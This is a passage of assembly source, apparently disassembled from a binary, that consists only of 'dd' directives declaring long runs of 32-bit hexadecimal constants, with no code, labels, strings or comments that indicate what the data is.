9ECF17FAh, 0C8021AF3h, 5E14CE9Fh, 1DC8FBCh, 0D3E7422Ch dd 13498800h, 4A82F600h, 9C81F710h, 2E257416h, 672A50h dd 0D4382D9Fh, 95389A48h, 0DADC8BF0h, 93AC09CCh, 0A880E5B0h dd 281F89A6h, 10DC8A57h, 0B07DBD4Dh, 0EE3DD711h, 82D91C5Ch dd 879C40F9h, 0F526C494h dd 63744500h, 4D3E3FDEh, 85AD00B0h, 8C99FF73h, 51009DEDh dd 0CD095019h, 986274h, 60E12463h, 0C9ECDC72h, 0AC4BC500h dd 851A8FDEh, 54AE00C2h, 0F93D7948h, 52005B13h, 1056393Ch dd 38B0715Ch, 628120CBh, 6EEB269Ah, 19EF3078h, 8033B200h dd 1FA5F4DAh, 0F49D75A9h, 96200152h, 0C3848E54h, 1B38E045h dd 4700C473h, 0F87AFAE2h, 0A9DED3h, 95E9160Bh, 9EB337FDh dd 71D92300h, 0DBDC3883h, 7FFAB0D5h, 9EFF81Dh, 0DF74758Ah dd 5FD77840h, 3998501Fh, 0B67AFE80h, 7CDB6Ch, 0C5F37716h dd 0A82ED208h, 15E06F7Bh, 78A14601h, 5B8EB21Ch, 0F46C60h dd 0BD953671h, 0DBFBD46Bh, 0B2B030E9h, 1BDFBB3Ch, 0E7115897h dd 0E7B3A380h, 5E40A0A0h, 22833E91h, 242BD780h, 4317D4C7h dd 0C80B3B07h, 0DFA487h, 1E2ABE0Eh, 356600FCh, 371F2EACh dd 30C5271Ch, 281FE106h, 3CC76397h, 64048680h, 3FA9A0C0h dd 0BEC3244Bh, 38169844h, 7A14251Ch, 90CCC48h, 0C3371A3Ch dd 0DF0BE030h, 73A13AB7h, 520B629h, 0EC5204h, 65908DFBh dd 8100362Ah, 0BC4CA05h, 0EE24539h, 7D42DA6Ah, 0DEA15C20h dd 0EFC4BF6h, 72546B00h, 0CB577788h, 26A30080h, 619C60ADh dd 0C933EB89h, 0F490C879h, 1F74A740h, 69131E02h, 96193438h dd 2180A808h, 551F4C46h, 4100997Ah, 0EC361E69h, 5A150C5h dd 0AA259C64h, 232C2FEDh, 957501BEh, 813E0551h, 0E5095939h dd 0BD21B78Ch, 64F2C4h, 1231E24Ah, 82B61A0Dh, 1F70A067h dd 7748759h, 1F65970h, 681DE6FAh, 15A4618Dh, 6C3FDCE6h dd 0A800D4BEh, 0EBAC0A70h, 2898A7D7h, 8DBB4803h, 0F18715D9h dd 0E064CA04h, 0EE2A03EBh, 0DF7BB3B0h, 92434A89h, 40C0C308h dd 0FF1276h, 4D72071Ch, 5CF2B532h, 1A80EF60h, 0A1A8F868h dd 6F187B2Ch, 0B323EE75h, 212F1843h, 0EE01170Bh, 63B96913h dd 6CF056DAh, 0C41274A1h, 0ADDC58h, 8FF1C7B4h, 0EC4700F8h dd 0EF06B66h, 3800F605h, 0E1A304FEh, 0FC079ADh, 3D1C2D47h dd 67DE07F3h, 0B499050h, 0ED00E731h, 9A6180C3h, 0E20AA055h dd 2FEE0074h, 8BCB4241h, 2638385Eh, 864B80A3h, 13B13294h dd 8BF00FCh, 3955642Bh, 0C000F26Bh, 0C49CC16Eh, 0B8FB48Ch dd 8928F791h, 61066980h, 0F003EAC5h, 5822748Eh, 1F8288D8h dd 1C040059h, 0F873CF93h, 0F20032D1h, 63972ACCh, 1A634h dd 92C39A74h, 0E3C2610Bh, 0FC0411D0h, 41356003h, 6192EE95h dd 16BCA600h, 5C0D32CCh, 0EAED0034h, 0DDE08355h, 98008DE8h dd 56B81162h, 2296B6h, 90DF196Eh, 78D42586h, 61004CFAh dd 0C6474BD5h, 0FE167074h, 91AA0744h, 0B08FBE84h, 80948948h dd 77C3EC00h, 27CE1CEh, 0F210675Eh, 9DD31C9h, 5C2880C7h dd 0A90C74F8h, 23991CABh, 0BE81C03Dh, 30319D52h, 0A1775F00h dd 93AC662Fh, 40C3B17h, 0DD18F880h, 0EA473A90h, 0A225103h dd 8C59F7B9h, 0A6FE17C0h, 72A78E4h, 11163C49h, 677C9341h dd 0D00B7DB0h, 7FD65A00h, 0E88AA3F0h, 0CB89Dh, 0BD1E3637h dd 3A4FAE83h, 88032100h, 50B9025Fh, 8F770020h, 3684FA46h dd 1AF894F4h, 0C5C2E400h, 9D823339h, 3F4D007Ch, 9C881B92h dd 9100169Ah, 0D514B518h, 0C0732EA6h, 6E790F20h, 300D980h dd 107D9B0Dh, 0F2DED6C5h, 8BF221h, 0E0C373FBh, 0BFE50895h dd 6DAF1807h, 48F00EE1h, 0B8858E7Bh, 9EE8DDh, 4970FE8h dd 4C6BE4BDh, 0FB013F77h, 1551ABAh, 20D454B8h, 890DCh dd 9791AD14h, 0E7B5E6C1h, 2B0080D2h, 6BE25C2Fh, 25522458h dd 69CE4020h, 6F003C9Fh, 772998FDh, 0B2CD2CBh, 86B0E0FCh dd 79250200h, 135C288Fh, 66A207D4h, 0D1C052E3h, 7C4FEF7h dd 6C8896F2h, 493350D4h, 970066C0h, 0EADFA38h, 0F5BC48h dd 1E8CB370h, 10DD1FB9h, 0FC1C69E8h, 83C06C31h, 4779782Ah dd 59F400A3h, 0C90995B3h, 0C5069E55h, 0E903EE98h, 0E21A06C8h dd 9882BEE6h, 0F07CAF00h, 1D43F1B8h, 3B913F9Ch, 0CF81D8E1h dd 3185DC5Eh, 30308975h, 0ADCB40E4h, 941A0307h, 9F437860h dd 0D6A98EC0h, 0BA80D700h, 8B516E0h, 0A21A00C3h, 764DBC68h dd 4302C62Fh, 90A99F82h, 9A00D59Dh, 0C52641B6h, 9503F3F4h dd 0F27C0674h, 0F5680034h, 6979AB1Bh, 52155A8Dh, 2AB8BF80h dd 0DC007CC5h, 10BC9D63h, 1F72288Ch, 0C07CEAFEh, 5C9FBB9h dd 45EAF1A9h, 1855DF00h, 0C253D010h, 0A48300BEh, 44F62BAFh dd 0D65F3891h, 82D283h, 0B840F518h, 0E97FABF8h, 854D6CFEh dd 0F05818h, 0B78FC7F6h, 1DBC981Ah, 80A2F943h, 68D70846h dd 140083E1h, 30327E48h, 277CE902h, 0E05D6BD9h, 0C0941911h dd 0FD270DE8h, 581E04CFh, 4B81C7FAh, 5D52252Dh, 0B28FC0h dd 47559D19h, 0F0FE3DDDh, 0A26C2100h, 0E76BC0D5h, 1D97CF3h dd 86E82059h, 30417E1Dh, 760F64B1h, 4C03B6B8h, 93836h dd 625C6BBBh, 4E05DA5Dh, 0E6AF1701h, 0F9ED7E94h, 6C2AF4h dd 6DDB6EEFh, 7993D751h, 44E35901h, 6BA2507Fh, 331ABC40h dd 5FAC0325h, 0B0E15E7h, 68144088h, 1E9C3E07h, 0ACD78EF5h dd 907EB0E3h, 4483EBh, 9B8529F0h, 56BB7416h, 2BAB7D00h dd 8AC2B466h, 7BCC0086h, 0EB4A9BCAh, 8C00A807h, 0DC1D3A08h dd 0F3FCB7h, 3011A58Eh, 8F6AD227h, 0FDDED000h, 0FEE675F9h dd 702C00C7h, 87693EDDh, 0FF004C25h, 8B0A374Eh, 0B87FF1h dd 0D2FE8DAEh, 0C76ED379h, 3A4AE4A8h, 3498D11Fh, 92FC80F9h dd 30BC6793h, 523D00A2h, 9027BF4Dh, 0C5009CF4h, 0C3A9472Ch dd 244E263h, 6CD3E0D6h, 4DE0BDE4h, 401F1EAh, 509FBE75h dd 0F8F4F7D4h, 16DB0096h, 0C890577h, 0E372DC0Dh, 7A4A9E0Ah dd 4814A875h, 0CB990098h, 419C7F1Dh, 0CD290193h, 3F4F0E38h dd 1EFEFC46h, 0CB272400h, 3E8949BAh, 0FC6404BFh, 80EEF304h dd 2BA51220h, 0E5C25502h, 8025DB4Ch, 685DE794h, 2A9D3A1Ah dd 9C708981h, 30BAC1CDh, 0FA1CA367h, 1FC0514Dh, 298460Ch dd 0EE2C00BFh, 1BB5304Bh, 0F9FC1CF1h, 0D50A8201h, 8C9E4891h dd 4FAD7F4h, 0BD73FDE7h, 6F7F83F3h, 0C07E1109h, 0CC00A0E2h dd 0E91417h, 0C8B88B1Ah, 3EE80A64h, 0D100D57Ah, 0BC1E8554h dd 393BE18Dh, 0AC87748Fh, 2361592Dh, 26900E4Eh, 7000D5ECh dd 8E135686h, 71C088Fh, 4623EFADh, 19762040h, 0B026B57h dd 0B1F8AAD9h, 801C63EDh, 87E954h, 9AEB7113h, 0FFEEF524h dd 706A7C60h, 14BFB4Fh, 0CAB043Bh, 80B11F75h, 7CF62E18h dd 241FFA8h, 30FEA59Bh, 0DFC02A46h, 0CC1EEB88h, 0E601F5C1h dd 0F9D09207h, 5E0051BFh, 0FA906E83h, 3B009C38h, 0FDA01711h dd 0A3712Eh, 70A10F61h, 0FAB13CF2h, 0ED038700h, 7DE78CFBh dd 50852C34h, 0B70A0139h, 30E404EBh, 5900E05Bh, 45B5D763h dd 77A188h, 224EA31Ch, 16E7EB7Dh, 2C4B4Dh, 62A1D553h, 0B8114FB9h dd 0C6950430h, 0D0CD83E5h, 0A4D31D98h, 488BCC30h, 2C2120DFh dd 201191h, 0FA92339Eh, 9C006E9Bh, 6A588BF3h, 0EF578A1h dd 234EB4C6h, 19B0C19Ch, 0E83AE0A8h, 3007915h, 728802E1h dd 12FFADEh, 0EB3645D3h, 7E3C042h, 3715E50h, 0ED0407B0h dd 0D0B5E0B8h, 70254D63h, 0F500BCBAh, 0C966C78Bh, 806B28A6h dd 0BC631F24h, 0E0716820h, 5D93CAh, 3DA3B2E2h, 34C8DF28h dd 0CB006BE2h, 1F39F6EBh, 1029046h, 8BE61763h, 214507CFh dd 95208075h, 0D7839FC9h, 4350C04Ch, 0D2D17024h, 5178626Ah dd 2990BB02h dd 0D45C6063h, 6DC20B12h, 0B400EE24h, 191C04B7h, 0EDE48014h dd 0E30A7982h, 64274D65h, 7C45EB0Ah, 81BC4609h, 6D23A552h dd 7CE54731h, 0F7D9F8h, 0F8FB38BAh, 0E6A7E16Ah, 0F33B3C1Fh dd 80875200h, 791214FFh, 0F92C0EDBh, 0B40262Fh, 0D0130D5Bh dd 0D4CC6F00h, 1F775491h, 70E67C1Ah, 64F6002Bh, 145BA7BAh dd 28EEEF30h, 690C9600h, 77877645h, 904400B1h, 0FFD7DCF7h dd 6A3CA862h, 411084F8h, 0BB8730A2h, 732008F0h, 947F2839h dd 0FBF0789h, 51ABC95Eh, 0F424426Eh, 625036D7h, 0DB606487h dd 8E0BE1F1h, 84230C54h, 0E9FED0F6h, 4AEBF40Ah, 2C809052h dd 9F0E3ACCh, 206D0FCAh, 3FDF2Ah, 229A9D87h, 4C0EC73Dh dd 0D64E27h, 1B58723Fh, 0CCF2007Eh, 0FC0C6326h, 6918B5C4h dd 0D279C107h, 92100061h, 380F62D4h, 0D700EEC2h, 0A0BFA605h dd 7861E66Ch, 34F91FB7h, 4A820096h, 0C0E9B9BDh, 809D7200h dd 9C6D8BF2h, 0A847032Bh, 64F5D2DCh, 23E063FAh, 74002F43h dd 0F29941ABh, 76CF4EDDh, 0F820B2F5h, 395F0037h, 230AC6A3h dd 8500673Ah, 870D07F1h, 75297C47h, 13897BE1h, 0E398359h dd 0D086826Bh, 0CF2E2086h, 0BE009856h, 53B8D99Ah, 2E3603E2h dd 3F39EC03h, 87BD9980h, 5EEB8D1Eh, 9C474A70h, 0E4C8002Ah dd 0A22E32A6h, 297441FCh, 7A214860h, 0F6C4C913h, 87100063h dd 0BA8A8C3Ch, 0F307032Fh, 0FB897C56h, 0ACD85D10h, 0D57706C1h dd 417DBD98h, 0FC8D8614h, 0C86F8238h, 29C441DBh, 20B03852h dd 28C81079h, 99C1A900h, 0BDB2A0A3h, 0E0FEA9Ah, 87FC414Ch dd 80EBBBA7h, 843A3036h, 0CB18C878h, 8610263Fh, 0E3914812h dd 7FD96D00h, 0B6F9AB88h, 3C3810C0h, 3A7AE6h, 0E8DCFEF1h dd 0D999399Fh, 1907F900h, 0EA5C2071h, 753C0074h, 541A2AC9h dd 6300A647h, 4A5DDD6Ah, 0B8DAE3h, 0C2F53F28h, 0D7F3ACB6h dd 344F403h, 8B335Fh, 5BEFE7A4h, 0F7A5EC47h, 79D41900h dd 0F5830B95h, 0FCEA00CFh, 17B0CA23h, 400642Ah, 69AC1681h dd 1367D1h, 9ACD8F44h, 0C22D3D6Dh, 1FCC0C07h, 4F106807h dd 37B741h, 3519971h, 478B62AAh, 0CFE58h, 6AF96F66h, 126C50Bh dd 0BEC3FABAh, 0E8D351EAh, 0BB0FDF61h, 83E577AEh, 78E66EC6h dd 0C1621420h, 93A18E1h, 4C0B2E58h, 6480A158h, 0A6445F81h dd 0C878E800h, 0B2A9E7B9h, 61462C66h, 0B7D300FAh, 9EFEEA38h dd 534B4F00h, 82E1B078h, 14B153A0h, 0CFCD54C0h, 5F1D6670h dd 0C5DD799Bh, 0EEE5EF00h, 0F8626D11h, 0D06B625Dh, 0F6867078h dd 0DE07C1BFh, 97293994h, 0A9C77E43h, 1AD17123h, 1D632180h dd 0D0E98F38h, 0BDD4A600h, 0A20DEA1Fh, 0C14200B6h, 477C6D10h dd 60C56EA1h, 80188DD6h, 86BA8C68h, 2D399007h, 64D8F497h dd 19674002h, 0FCD6523Bh, 219A39BAh, 0A591700Ch, 892EBE21h dd 6C1AE4FAh, 877C4011h, 0D8EA02C9h, 90D2D3E6h, 21C02BF0h dd 0A786AE2Eh, 0D1B800DCh, 0B387B534h, 0EC05600Eh, 0FBE9AB09h dd 5665DC40h, 288E70B8h, 6F0BB3Fh, 4421BC39h, 0E50020C1h dd 33ACC9E3h, 0EC3D259h, 0CC6240F9h, 1E1E88Ch, 55ACD600h dd 0DE170D33h, 67F5309Bh, 46652089h, 9E011C07h, 3D207084h dd 1EE9815Eh, 45B61369h, 808B36Eh, 0CAC01E3Ch, 215936ACh dd 0AA91CC7Ah, 0ACD3040Eh, 9DEB9C60h, 0BCA05260h, 59281754h dd 9B02C85Bh, 337640B0h, 7BF6E024h, 28FA57h, 79678C8Ah dd 0F5E1A3F2h, 6740E00h, 0F9FAFC34h, 147102BDh, 24A53150h dd 2CDFA560h, 0CE425B0Fh, 99BB0E67h, 0F0DC9810h, 68260329h dd 80389C89h, 210B0830h, 1FF04F7Bh, 0E6FA58h, 0D129A2F9h dd 3A3EA401h, 0CEB80790h, 0DE2623CCh, 9670230h, 77A70CC9h dd 95F4A4E0h, 4B8B5F0Eh, 0B043802Eh, 0B75265Ch, 4CA52230h dd 441CDD83h, 1C29823h, 2628F068h, 89711870h, 0E8F0F07Ah dd 7291E200h, 49D699BEh, 2C90C143h, 0D4892106h, 461C8E1Ah dd 4484C7F1h, 2B87AC69h, 6B0C6C0h, 305A6F18h, 86BDFB00h dd 0FD009077h, 9F38A6ACh, 1366EAh, 0E030E2EBh, 5AD1C637h dd 0C43F880Ch, 712694Fh, 0EBC7FAF1h, 98005F5Dh, 0ED976CDBh dd 69D69A16h, 96570000h, 53370Dh, 99F8B9A3h, 0C3C1122Dh dd 6EB8C8C0h, 0E36FED4h, 5DDF303Ah, 0A708692Ch, 533321C0h dd 70728FFEh, 0E53D0F80h, 39E46A4Eh, 0B0CE0131h, 8C50A320h dd 7AA615h, 3A91420Ch, 7828D7E9h, 0E725A200h, 68D5BCAh dd 8C39C537h, 0F09BC715h, 0B1C25DA7h, 1A087F65h, 6C6D8C40h dd 718B3F8h, 0CB06D755h, 0CCF61058h, 0DC60246Ah, 20D13DA1h dd 0E381C7A0h, 11EA9006h, 2A01FB3Ah, 6A280EEFh, 3180C5FCh dd 23B6AFF6h, 980162F9h, 0E6AE9305h, 406014E4h, 0D3380096h dd 4FE72003h, 7F30E55Bh, 9B2FB12Dh, 9E960063h, 3A37A5CBh dd 0E526E7C6h, 9117ACBDh, 6CCFB11h, 0AFA1C35Bh, 74D23708h dd 91AAC041h, 1F12E3F6h, 3C05859Eh, 0A406DD57h, 53A13EC3h dd 0CEE04CEh, 10A2C649h, 0C0177D20h, 0B1BB4018h, 1500BE52h dd 0EC93427Eh, 3A9D44h, 84202EB5h, 405A3FC4h, 2992F832h dd 0B0C02072h, 0AB05BD25h, 27C11946h, 0C0A8CD82h, 0DEE4CBh dd 859D0771h, 0A3A51CD2h, 996BFB00h, 51E2EED8h, 184B26DBh dd 163202D7h, 0BF800435h, 0A1BEDC39h, 0D0C30F00h, 23C85A8Eh dd 9D471C20h, 4E2D43C0h, 0A2F80E5Eh, 0F03F690h, 7F79F231h dd 58DDA055h, 8D85074Ch, 209F7A66h, 0C492B653h, 9885113h dd 3FCC8903h, 4D17B05Ch, 0CF56000Ah, 0E9A68DCh, 0B734275h dd 0C54B5D00h, 8BB7AB37h, 6DDE007Dh, 7688C816h, 0D53A7089h dd 5598080h, 0D2869531h, 0FB7D0232h, 0BC6E5BA3h, 0F035AF40h dd 20E0A700h, 0F9A63E1Ah, 0C518009Ch, 348B94B8h, 0A2787DF3h dd 5C330901h, 0AC8E4190h, 2A8040BFh, 7E6494A0h, 0E900AEABh dd 692FAF1Bh, 423929h, 0A6014E3Dh, 3551E307h, 1F00E8FEh dd 37EF3FC6h, 7D2A7E93h, 163E7BF7h, 0ECD84DFh, 0AEE0A26Dh dd 8E240D54h, 9C2D4103h, 0A0F826F3h, 0C6718Ch, 8207E2Ah dd 0B90485A5h, 0E001490h, 72323D43h, 322535Eh, 0E06A5B7Ah dd 81CCB618h, 30364724h, 2354251Ch, 0EF0092D4h, 1F8640ADh dd 0AE8963h, 78DB95F3h, 2E9610C3h, 0C13AFE00h, 347D185Dh dd 0DC246061h, 98507673h, 58A949h, 88D029Bh, 7DEDB59Dh dd 39CA02CBh, 0FE48683Eh, 0CFDFBB01h, 3F9D0F4h, 6F81A7A4h dd 2DC0A582h, 0D200D827h, 1C477F5Fh, 7C256BDh, 0DD64A03Fh dd 0B83933B6h, 0BFD58CC0h, 2E72C00h, 743A046Dh, 802A6080h dd 0F304B6Fh, 0A028DF6Eh, 429E0CB9h, 7EEFF820h, 28F1C7F8h dd 24C80060h, 9371D57Fh, 0C983040Fh, 80DC347Dh, 0DC3F86D6h dd 52A6034Eh, 9BCD857Ch, 0FF97D12Ch, 9545FB00h, 364F0EDh dd 0EE43C04Fh, 35DF81DEh, 8EA49705h, 0AB405E60h, 0D20189E3h dd 0C4FB26D0h, 9BE4CA49h, 0FAFD00DAh, 0ADDB269h, 86532590h dd 7CCA00B0h, 79E0D76h, 646EEA6Dh, 0E65988h, 0C017AEA0h dd 8CD9C103h, 8195DF9Dh, 1E0B861h, 0BC40BF41h, 0D9FA6Bh dd 99027562h, 7B95134Fh, 2DE4737Ch, 6C7639h, 0AC3AB398h dd 42A31Fh, 39E3FC1h, 729D4832h, 9081F629h, 0CC343980h dd 0C07C71B2h, 26E81860h, 0FC24B120h, 1EE260C6h, 9C68686Ch dd 885CA0B9h, 437A3121h, 0DC2E7168h, 0FC30A512h, 0AA835073h dd 0E79E051Bh, 0C70A3B7Ah, 0C61C0A1h, 97001934h, 562B31F0h dd 7B4D284h dd 42B781C1h, 2D92123Eh, 0DA44504Eh, 0C050991Ch, 0E3A8DFA4h dd 0F714350Ch, 24889045h, 9C53D2h, 0CFF7DB7h, 5C0DAB38h dd 72F775A1h, 6E9C98FAh, 0CCE1D077h, 2BF0075h, 1E941213h dd 7C002C58h, 46786536h, 3F7AFAEh, 41966DE1h, 8800AAB6h dd 8452263h, 29B575h, 0F21DCBBFh, 0C4AF6B32h, 0B8E2C098h dd 0D0FBFC75h, 7F544DE4h, 0E17609Ch, 4E01EFE8h, 1752517Ah dd 60CECh, 0F25C803Bh, 4B62C574h, 0B871A700h, 0F109C4F7h dd 18184D4Ah, 0C529EB22h, 96928034h, 0A85D00EEh, 0D0040FBCh dd 0B02158h, 304249D4h, 0D5B191h, 0EA5BBB16h, 0C13FFCA9h dd 8B1FDF00h, 0C7AF6A8Ch, 0D2D71D86h, 4273012Bh, 0F4A069CAh dd 0B008663Bh, 13BA3D8Ch, 865830ADh, 6099F25h, 20A6A7C0h dd 48BDC92Ch, 2749336h, 35099F62h, 0A700446Eh, 636EF3B1h dd 0F8562E91h, 0DB4C00E7h, 0AEC9AFDAh, 0D1492693h, 5044016Ch dd 6D6CA43Ah, 30BDE0h, 5FF1459h, 0C570833Dh, 0F3483CB0h dd 955E00A4h, 7166BF2Ch, 0A1B40056h, 9C226DDBh, 2E013F5Dh dd 0ADF68C8Fh, 90EB83AFh, 436FE6h, 0A338C011h, 7F4A16CAh dd 736DFD00h, 0FC338D29h, 922E0FF7h, 0F2E0B63Bh, 0D6828F0Dh dd 291E3CF2h, 3F87BBDDh, 0DA802798h, 384276h, 0BF7D44A0h dd 6BAC0378h, 0D125D228h, 1F306200h, 0A9AAA275h, 19D760E9h dd 64BB94EDh, 7C974802h, 0E89E7357h, 90DCB62Ch, 265FFE30h dd 80102682h, 5EC71B48h, 209AB49Ch, 870FCB00h, 0C64AC21Eh dd 9B620706h, 0DA2A8D12h, 0E8B67820h, 77EF9E05h, 0D85F13E5h dd 0E8A5A64Ah, 0C6538C80h, 92CADAh, 971D1083h, 0F87B4B86h dd 1BDAA01h, 412EED88h, 5BE3C0h, 0A24270F2h, 3C046749h dd 0D8004CE8h, 0B0A314F3h, 7F3A47BCh, 0A859588Fh, 50513C00h dd 0CA8B0865h, 913B4E03h, 132DD34h, 5E1B1A21h, 20DA7E39h dd 0EF49359Ah, 0DE3B84h, 5CF99C45h, 3B21C3CDh, 7CBE4FDAh dd 0E6B1F280h, 0C7EDD5FEh, 95A0509Ah, 0B000C51Fh, 847E3827h dd 5940977Dh, 8F89AC59h, 82BE8F02h, 0A16BDC68h, 78FB5B02h dd 80C53EFFh, 0E61CFB4h, 0B9AF685h, 2F99C9E4h, 0F11C6827h dd 6041B7A4h, 0FD240B48h, 0AC8EFCB9h, 914B2BE1h, 1877C234h dd 1399D209h, 0E1C80E86h, 7B3D5600h, 987831C1h, 0B33A71BEh dd 61E500CCh, 0AE27C48Bh, 9050AC00h, 51B11938h, 4A634830h dd 4244D201h, 202C355Dh, 473FBF0Bh, 0E2048297h, 60F79168h dd 0C3148Ah, 45B84222h, 0CC3EBCC2h, 0C8625300h, 1E40A316h dd 0EE78002Ah, 304D4723h, 2C609C13h, 55AC1C11h, 4B7B00B2h dd 9E7ACEE5h, 78002E81h, 22360DFBh, 0BFD937h, 975C691Dh dd 0CD44D725h, 0F2FFA500h, 0FB70F659h, 26749286h, 8EA07BE6h dd 0D3006E1Fh, 0A98ED14Dh, 0CF0BA605h, 0D44029FBh, 7B72B711h dd 94600122h, 0DA2630AAh, 6BD0895Ch, 0AAC894Fh, 12007CF4h dd 7B3E0558h, 845A59A0h, 9AFA1900h, 0FC56D0C2h, 9E6D9700h dd 8CAF7D5h, 0B1460002h, 0AB3DFE2Ah, 0F4E38DDh, 9779DC00h dd 265A45BCh, 1BCE9EDh, 7230DC2Ah, 0C05467EAh, 0AACA6019h dd 0D56100D6h, 81C25BDh, 0BE09AE7Bh, 38B3BFh, 0F159AF2Ch dd 1723004Eh, 20E556BBh, 0D90295A8h, 26F9BC88h, 12C4E5DBh dd 0DA24908Ch, 68055305h, 6037AB03h, 890F2C80h, 7579009Bh dd 71A9FC5Bh, 2092F04Ah, 0E83029F8h, 53B2836h, 980D00E6h dd 65D64E1Ch, 0F9330871h, 92DDD127h, 0B09C8052h, 0E4EA0551h dd 0EB1C13A9h, 4D9300F2h, 0CEDB3D5h, 34662300h, 0BD0DA045h dd 603E60D1h, 3A781F38h, 263DA092h, 2F7981C9h, 0A46507Bh dd 59FC84CCh, 14003CADh, 0F2B96ECh, 64DA2BCh, 0B8280044h dd 0A533DE97h, 61FE02B4h, 1697395h, 0CC5A98C0h, 0E52B1500h dd 6FF46C8Eh, 38A46725h, 0A08CC41Dh, 320C40D4h, 888D58C3h dd 0E0FC44h, 47B75D9Eh, 90BBF336h, 98348200h, 0D609C188h dd 964E0046h, 6BDCABECh, 0E89217F7h, 1C160A3Dh, 0A131B955h dd 0C1894EFEh, 0DC41538Bh, 0D0C8EEA0h, 0BCA89D01h, 28C08CDBh dd 6E622E8Ah, 7B40C02Ch, 0E987CF6Bh, 2432380Fh, 0D6188010h dd 3C6D52Ah, 30F11A7Fh, 0DC83E1EBh, 96C439D0h, 16F460FBh dd 7138D00h, 0F710C5E3h, 309A0046h, 0BC9E51E4h, 8A001753h dd 7A56F48Fh, 0F15816h, 0A86B9466h, 8CDD873Dh, 9FB17003h dd 0B002A42Ah, 12363ED6h, 0C01590h, 0DBC7867Ch, 79007E0Bh dd 69825C50h, 1D5A1438h, 80A11A83h, 77C08F42h, 1007664Ah dd 0A7D070EEh, 0D9BB98D0h, 0F25F779Dh, 16292C50h, 5BA48034h dd 415576Eh, 600471EDh, 0D2009DB6h, 7AAF25CDh, 59389463h dd 0DC0138FEh, 82B7B6C3h, 7902F864h, 0BEF6457Fh, 303BDA00h dd 0BFA27216h, 0E8C100FFh, 2F15D5A8h, 0BD0047B2h, 0CA1EA721h dd 0C0A089h, 0BE83C6C5h, 0AC97C2AFh, 0D89BC42Ch, 0D35AD904h dd 87290C80h, 5E4E0720h, 10A12B9Eh, 0C40D7161h, 0B0895C38h dd 0EFC72914h, 59550044h, 35B98270h, 62001903h, 0A0ABC8E3h dd 711A53h, 0BD8F6EA6h, 92DB201Dh, 0ECB26B00h, 4842C09Bh dd 0BA4005Ch, 0F66EA0A7h, 600B2D18h, 80328EACh, 0D663401Fh dd 0E7E6BBh, 2D7BA217h, 0A0151E35h, 5AC85802h, 6068AFDCh dd 8434C4h, 0B071F4D7h, 8E45BBE7h, 92A8C667h, 0D5A2ABE0h dd 0A3E4D0h, 770309B9h, 9C0A82E3h, 0FEC24000h, 55C7AD59h dd 7164001Ah, 0A7232F3Ch, 0C3780C70h, 0C9909E90h, 0B9EB2917h dd 0E9AF5502h, 0C7EF8082h, 6ABC8Dh, 0A6B24AF8h, 0AE70DAB1h dd 0C907551Ch, 0D068F4C0h, 9886526Ah, 0E85C1F78h, 0E5498059h dd 6706EA0Dh, 0E4035103h, 0F81EBB6Eh, 0FCF8025h, 422F168h dd 4400DDC9h, 8F209B2Ah, 83000DF6h, 0EBFDF5C1h, 1F49297Bh dd 40FEF25Dh, 0DECB87CAh, 0A200D702h, 7B8A0323h, 0DC76FCh dd 97D3B01Ch, 0D832BD14h, 0A9064810h, 0C100033Bh, 0CC4C3F42h dd 2B73BC9Dh, 3CAC4007h, 0FD10FC24h, 0E2A930Fh, 86057F9Ah dd 3E578420h, 0BA271D23h, 122C80A1h, 0E6760Eh, 68419E1Bh dd 2B846BB9h, 30706601h, 0A98C0302h, 0E90D834h, 275188DFh dd 5B3D5DA0h, 2400E4A0h, 964A9A52h, 0CD560Ah, 5478207h dd 0DD97D728h, 8061133Dh, 8684017Dh, 50D68ACh, 32C57560h dd 23F58765h, 0B9B87430h, 7D00AE58h, 0B76FDEDCh, 306AFA0h dd 2C18374Dh, 0E0CF3B6Bh, 254740FCh, 7F5CF200h, 8B20C19Ch dd 126100D5h, 0EB9F1596h, 3D00244Eh, 0BCB29737h, 58FD6BC5h dd 51009781h, 0F9478786h, 391F2255h, 780C8FAh, 85FE8A8Dh dd 0F3DF0C3Ah, 0FCE8CD66h, 77A439h, 0F525BE11h, 0AD9164h dd 0CDE01253h, 4330EB1Fh, 11C97F00h, 94B76F2h, 0B97A0037h dd 0ACBD948Dh, 3CB80BBAh, 68ED8F06h, 115F01h, 7C5E7A26h dd 0ADCEAF3Dh, 0CD0F55EAh, 0A4F625CFh, 10804728h, 7214D799h dd 94DF0027h, 70B8415Bh, 0B50BBAF0h, 2F86470Fh, 9DEA60F4h dd 3AAA410h, 0AEF67FCh, 15F8D60Bh, 0C48D9A5h, 0FA320082h dd 3BBD7F8h, 15E1F53h, 0CFF4404Dh, 0DE8DF314h, 27764503h dd 987E6559h, 0C0C27213h, 0BFC45F61h, 8806C03Fh, 6A834114h dd 0F0350E18h, 4C82C9DEh, 8CE9739Ch, 0F31C4085h, 3AFEDF28h dd 8043CE0h, 0CD304E2Dh, 0E8C04DC0h, 12E32826h, 773124D5h dd 0DFA90334h, 38035FBDh, 0AF45695Dh, 0C05800BEh, 5CA46254h dd 50CA37A1h, 7D643CCAh, 0A0C03428h, 0D8573A08h, 2D7330FFh dd 3FBEF7D1h, 76C6A840h dd 97490003h, 0FFF36FA4h, 44011C40h, 0FEAF01BBh, 1A13DDC7h dd 18ADCB98h, 0E8B83D51h, 0FD18D823h, 1520CA87h, 84BC21h dd 14C42F3h, 9E00EC3Ah, 3F483413h, 1D7DA2B7h, 4CE7EABCh dd 0A7909680h, 5F16F8E5h, 6AED3617h, 0DB1B1B03h, 8D93F7Ch dd 3411D180h, 52682342h, 0D8002DFAh, 0E4A69BDBh, 301B2EBEh dd 3831BFC3h, 0F30FCBEFh, 0E0CF040Dh, 93C45D59h, 37C7007Ah dd 9415390Ch, 6A003191h, 26E3C6CFh, 6336E79h, 0C1BF495Ch dd 0AD00F1B5h, 0F729E685h, 0D504C8h, 3FDEB126h, 0FD6A685Dh dd 15A86454h, 7BF92760h, 0A2B1AAh, 1F743322h, 6C13BBAFh dd 0FD3F9D00h, 5B1B94A0h, 834B15h, 0BC412F58h, 5201D08Fh dd 0DCE304CFh, 6E02430h, 0B4971CC6h, 106EC05Ah, 6B45AECEh dd 6380E600h, 3916E7A9h, 0A3EA0093h, 76770D6Fh, 173970D6h dd 66C8FDEh, 0F4E9E4F1h, 404CD5C2h, 7C73DECh, 5A87E673h dd 0AE5F2089h, 2E4C5E7Fh, 0F34D005Ch, 0BC039B71h, 674F18F8h dd 84F2203Dh, 0C97982E0h, 7D9B6A3Dh, 3752230Ch, 141064h dd 0DB99244h, 4BFFCD45h, 8080C66h, 5C750B21h, 7287E193h dd 0CF348763h, 26027F43h, 0EC7D7874h, 3D1F967Bh, 